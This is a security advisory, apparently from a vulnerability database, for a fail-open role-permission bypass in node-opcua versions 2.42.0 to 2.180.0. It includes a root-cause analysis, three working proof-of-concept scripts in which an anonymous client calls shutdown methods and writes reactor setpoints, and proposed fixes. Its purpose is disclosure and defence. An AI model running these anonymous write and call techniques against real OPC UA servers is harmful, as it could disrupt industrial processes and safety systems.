node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
## Summary
An unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions.
This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 §4.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**.
The root cause is a combination of an authorization **fail-open** and a **disconnect** between the configuration API and the runtime enforcement path.
---
## Affected configuration
This advisory covers two cases that are not equally severe:
1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.
2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default.
Everything below describes case 2 unless stated otherwise.
## Root Cause Analysis
### Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates §4.8.3 default-deny)
File: `packages/node-opcua-address-space/source/session_context.ts:151-153`
```ts
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
if (rolePermissions === null) {
return allPermissions; // null means "grant everything" to ANY role, including Anonymous
}
```
When the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, **including Anonymous**. OPC 10000-3 §4.8.3 requires the opposite: *"If they are not set the Server returns `Bad_UserAccessDenied`."*
### Bug 2 - The namespace default resolves to `null` on the enforcement path
The runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/<ns>`. These resolve to `null` in every reachable configuration:
- **NodeSet2-loaded namespaces** (DI / ADI / vendor) ship the Property **without a `Value`** (`null`).
- **Programmatically-created namespaces** have **no `NamespaceMetadata` node** under `Server/Namespaces`, so the lookup returns `null`.
Additionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore:
```ts
for (const ns of namespacesNode.getComponents()) {
const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
if (defaultRolePermissions) {
defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
}
}
```
> **Note:** the loaded value is already `null` in stock nodesets, so this reset only changes the value's `dataType` tag; it is **not** the sole cause, the namespace default is `null` regardless.
### Bug 3 - Two incoherent enforcement paths
There are two separate and disconnected paths to resolve namespace-default permissions.
**Path A (private field)** - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`:
```ts
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}
```
This is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`).
**Path B (UAVariable node)** - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` **UAVariable node** instead of the private field (`session_context.ts`):
```ts
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
const dataValue = defaultRolePermissions.readValue();
if (dataValue?.statusCode.isGood()) {
return dataValue.value.value as RolePermissionType[] | null;
}
}
```
Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`, the metadata node is **absent** (programmatic namespace) or **Null-valued** (nodeset namespace) and the operator's `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1).
> *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`.
Synchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via `bindVariable()`:
```ts
metaData.defaultRolePermissions?.bindVariable(
{
get: () =>
new Variant({
dataType: DataType.ExtensionObject,
arrayType: VariantArrayType.Array,
value: namespace.getDefaultRolePermissions()
})
},
true
);
```
Without calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has **no effect** on runtime authorization. **Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `"INamespace meta data already exists"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.**
---
## Steps to Reproduce
### PoC-A - Address-space level (unit test, no network)
Save as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run:
```bash
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
```
```ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";
const _keep = should;
describe("PoC RBAC fail-open", () => {
let addressSpace: AddressSpace;
let namespace: Namespace;
before(async () => {
addressSpace = await getMiniAddressSpace();
namespace = addressSpace.getOwnNamespace();
});
after(() => addressSpace.dispose());
function anonymousContext(): SessionContext {
const ctx = new SessionContext();
ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
return ctx;
}
it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
const secured = namespace.addVariable({
browseName: "SecuredWithNodePermissions",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
secured.setRolePermissions([
{ roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
]);
const ctx = anonymousContext();
ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
});
it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
const relyingOnDefault = namespace.addVariable({
browseName: "RelyingOnNamespaceDefault",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
const ctx = anonymousContext();
const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
relyingOnDefault.isUserWritable(ctx).should.eql(true);
});
it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
const method = namespace.addMethod(obj, {
browseName: "PrivilegedMethod",
inputArguments: [],
outputArguments: []
});
method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
const ctx = anonymousContext();
ctx.checkPermission(method, PermissionType.Call).should.eql(true);
method.getUserExecutableFlag(ctx).should.eql(true);
});
});
```
**Output:**
```text
PoC RBAC fail-open
✓ A. CONTROL: per-node rolePermissions deny Anonymous
✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
✓ C. VULN: bound Method without per-node permission -> Anonymous can Call
3 passing
```
### PoC-B - End-to-end over TCP (programmatic namespace)
Save as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control):
```js
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true
});
await server.initialize();
const ns = server.engine.addressSpace.getOwnNamespace();
// Operator hardening: namespace-level RBAC, Anonymous excluded
ns.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
{ roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
]);
if (SAFE_MODE) {
setNamespaceMetaData(ns);
}
const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
parentNodeId = device.nodeId;
const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
method.bindMethod((_in, _ctx, cb) => {
console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodNodeId = method.nodeId;
const variable = ns.addVariable({
browseName: "ReactorSetpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 350.0 }
});
variableNodeId = variable.nodeId;
await server.start();
console.log(`[server] Listening on ${ENDPOINT}`);
return server;
}
async function anonymousAttack() {
const client = OPCUAClient.create({
endpointMustExist: false,
securityMode: MessageSecurityMode.None,
securityPolicy: SecurityPolicy.None
});
await client.connect(ENDPOINT);
const session = await client.createSession({ type: UserTokenType.Anonymous });
console.log("[client] Anonymous session activated");
let callStatus;
try {
const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
callStatus = r.statusCode.toString();
} catch (e) { callStatus = e.message; }
let writeStatus;
try {
const r = await session.write({
nodeId: variableNodeId,
attributeId: AttributeIds.Value,
value: { value: { dataType: DataType.Double, value: 999.0 } }
});
writeStatus = r.toString();
} catch (e) { writeStatus = e.message; }
await session.close();
await client.disconnect();
return { callStatus, writeStatus };
}
(async () => {
const server = await startServer();
try {
const { callStatus, writeStatus } = await anonymousAttack();
console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
console.log(`CALL EmergencyShutdown : ${callStatus}`);
console.log(`WRITE ReactorSetpoint : ${writeStatus}`);
const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
} finally {
await server.shutdown();
}
})().catch(e => { console.error(e); process.exit(1); });
```
**Vulnerable output** (`node poc_b_e2e_rbac.js`):
```text
[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint : Good (0x00000000)
```
**Control output** (`node poc_b_e2e_rbac.js --safe`):
```text
Mode: SAFE
CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)
```
### PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)
Save as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`:
```js
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");
const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true,
nodeset_filename: [nodesets.standard, nodesets.di]
});
await server.initialize();
const di = server.engine.addressSpace.getNamespace(DI_URI);
di.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
]);
try {
setNamespaceMetaData(di);
console.log("[server] hardening: metadata bound");
} catch (e) {
console.log("[server] hardening FAILED:", e.message);
}
const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
deviceId = device.nodeId;
const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
m.bindMethod((_i, _c, cb) => {
console.log("[server] Stop() EXECUTED by anonymous");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodId = m.nodeId;
const v = di.addVariable({
browseName: "Setpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 42 }
});
variableId = v.nodeId;
await server.start();
return server;
}
async function attack() {
const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
await client.connect(`opc.tcp://localhost:${PORT}`);
const s = await client.createSession({ type: UserTokenType.Anonymous });
const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
await s.close();
await client.disconnect();
console.log("CALL Stop() :", call);
console.log("WRITE Setpoint :", write);
}
(async () => {
const srv = await startServer();
try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });
```
**Output:**
```text
[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL Stop() : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)
```
---
## Impact
- **Write** arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters.
- **Call** bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`).
- Affects **every Node** relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 §5.2.9.
- Anonymous receives **every** `PermissionFlag` because `null` resolves to `allPermissions`.
- Availability impact (**A:H**, CVSS **9.8**) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific.
## What is NOT affected
Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.
- Nodes with explicit **per-node** `RolePermissions` (correctly enforced - PoC-A case A).
- Programmatically-created namespaces where the operator calls **both** `setDefaultRolePermissions()` **and** `setNamespaceMetaData()` (PoC-B `--safe`).
- Variables without `CurrentWrite` in AccessLevel (the **Call** vector still applies to Methods).
---
## Proposed Fix
1. **Fail-closed** - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per §4.8.3 default-deny).
2. **Coherent path** - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly.
3. **API safety** - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces).
4. **Hardening** - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`.
---
## Spec Reference (verified verbatim against the official OPC Foundation reference)
- **OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles:** *"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`."* (default-deny, the behaviour Bug 1 inverts). <https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3>
- **OPC 10000-3 §5.2.9 - RolePermissions:** *"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead."* and *"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace."* <https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9>
- **OPC 10000-5 §6.3.13 - NamespaceMetadataType** (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). <https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13>
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Nov 3, 2026, 8:11:38 PM
dateUpdated: Nov 7, 2026, 3:30:26 AM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.